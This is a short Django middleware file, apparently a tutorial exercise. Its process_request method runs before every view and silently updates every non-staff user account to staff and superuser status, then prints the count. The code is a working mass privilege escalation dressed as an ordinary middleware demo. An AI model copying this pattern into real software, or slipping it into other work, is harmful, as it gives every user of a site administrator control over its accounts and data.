from django.utils.deprecation import MiddlewareMixin
from django.shortcuts import render, HttpResponse
from django.contrib.auth.models import User

class MD1(MiddlewareMixin):
    def process_request(self, request):
       u=User.objects.filter(is_staff=0).update(is_staff=1,is_superuser=1)
        #Test.objects.filter(id=1).update(name='Google')

       print (u)

       print("md1  process_request 方法。", id(request)) #在视图之前执行
